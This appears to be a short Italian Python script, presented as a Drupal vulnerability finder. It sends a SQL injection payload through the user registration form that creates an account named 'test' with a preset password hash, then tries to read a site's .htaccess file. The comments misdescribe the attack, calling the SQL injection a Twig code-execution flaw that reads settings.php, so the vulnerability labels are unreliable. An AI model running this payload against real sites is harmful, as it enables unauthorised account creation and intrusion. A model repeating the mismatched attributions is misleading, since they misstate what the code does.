White Hat Italia # Importo la libreria requests import requests # Definisco una funzione per trovare vulnerabilità "oday" su un sito Drupal def find_oday_vulnerabilities(site): # Creo una lista vuota per memorizzare le vulnerabilità trovate vulnerabilities = [] # Provo a sfruttare la vulnerabilità SA-CORE-2022-016, che permette di eseguire codice Twig arbitrario # Costruisco una richiesta POST con un payload che cerca di leggere il file settings.php payload = {"name[0;insert+into+users+set+name%3d'test',+pass+%3d+'$S$DUzBZpahN8mKoRGnQMJM9e5T0vQiTqHouaOJx8n8x9VxV\/\/\/\/.V\/\/\/\/',+status+%3d+1,+mail+%3d+'test@test.com'+--+;#][value]":"test","name[0;insert+into+users+set+name%3d'test',+pass+%3d+'$S$DUzBZpahN8mKoRGnQMJM9e5T0vQiTqHouaOJx8n8x9VxV\/\/\/\/.V\/\/\/\/',+status+%3d+1,+mail+%3d+'test@test.com'+--+;#][format]":"filtered_html","form_id":"user_register_form"} # Invio la richiesta al sito response = requests.post(site, data=payload) # Controllo se la risposta contiene il contenuto del file settings.php if "database" in response.text: # Aggiungo la vulnerabilità alla lista vulnerabilities.append("SA-CORE-2022-016: Twig code execution") # Provo a sfruttare la vulnerabilità CVE-2023-31250, che permette di accedere a file privati # Costruisco una richiesta GET con un parametro che cerca di leggere il file .htaccess params = {"file":"sites/default/files/.htaccess"} # Invio la richiesta al sito response = requests.get(site, params=params) # Controllo se la risposta contiene il contenuto del file .htaccess if "RewriteEngine" in response.text: # Aggiungo la vulnerabilità alla lista vulnerabilities.append("CVE-2023-31250: Private files access") # Restituisco la lista delle vulnerabilità trovate, se presenti, o un messaggio di sicurezza, se il sito non è vulnerabile if vulnerabilities: return "Il sito è vulnerabile alle seguenti vulnerabilità: " + ", ".join(vulnerabilities) else: return "Il sito non è vulnerabile alle vulnerabilità note di Drupal." # Testo il tool su un sito Drupal di esempio site = "https://www.example.com" result = find_oday_vulnerabilities(site) print(result)